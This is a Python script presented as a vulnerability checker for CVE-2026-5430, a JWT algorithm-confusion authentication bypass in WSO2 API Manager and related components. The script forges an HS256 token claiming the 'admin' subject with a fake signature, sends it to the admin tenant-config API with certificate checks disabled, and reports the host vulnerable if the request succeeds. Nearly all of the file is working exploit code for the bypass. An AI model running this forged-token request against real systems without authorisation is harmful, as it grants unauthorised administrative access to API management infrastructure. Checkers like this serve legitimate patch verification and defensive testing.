WSO2 API Manager / Control Plane / Traffic Manager / Universal Gateway JWT Algorithm Confusion Authentication Bypass

#!/usr/bin/env python3
"""CVE-2026-5430 Vulnerability Checker
Tests WSO2 API Manager / API Control Plane for JWT algorithm confusion bypass.
Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
"""
import sys
import json
import base64
import ssl
import urllib.request
import urllib.error

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def make_forged_jwt():
    header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
    payload = b64url(json.dumps({
        "sub": "admin",
        "iss": "https://localhost:9443/oauth2/token",
        "exp": 9999999999,
        "iat": 1000000000
    }))
    sig = b64url(b"fakesignaturebytes")
    return f"{header}.{payload}.{sig}"

def check(host, port=9443):
    url = f"https://{host}:{port}/api/am/admin/v4/tenant-config"
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    # Step 1: Baseline — request without token, expect 401
    req_noauth = urllib.request.Request(url)
    try:
        resp = urllib.request.urlopen(req_noauth, context=ctx, timeout=15)
        baseline = resp.getcode()
    except urllib.error.HTTPError as e:
        baseline = e.code
    except Exception as e:
        print(f"UNKNOWN - Cannot reach {url}: {e}")
        return 2

    if baseline != 401:
        print(f"UNKNOWN - Baseline returned HTTP {baseline}, expected 401. "
              f"Endpoint may not exist or auth is configured differently.")
        return 2

    # Step 2: Send forged HS256 JWT
    token = make_forged_jwt()
    req_auth = urllib.request.Request(url, headers={"Authorization": f"Bearer {token}"})
    try:
        resp = urllib.request.urlopen(req_auth, context=ctx, timeout=15)
        status = resp.getcode()
    except urllib.error.HTTPError as e:
        status = e.code
    except Exception as e:
        print(f"UNKNOWN - Forged-token request failed: {e}")
        return 2

    if status == 200:
        print("VULNERABLE - CVE-2026-5430: Forged HS256 JWT accepted by WSO2 "
              "admin API (HTTP 200). Immediate patching required.")
        return 1
    elif status in (401, 403):
        print("PATCHED - CVE-2026-5430: Forged JWT correctly rejected "
              f"(HTTP {status}). Instance appears patched.")
        return 0
    else:
        print(f"UNKNOWN - Unexpected HTTP {status} response to forged JWT.")
        return 2

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port]")
        print(f"Example: {sys.argv[0]} apim.internal.corp 9443")
        sys.exit(2)
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9443
    sys.exit(check(host, port))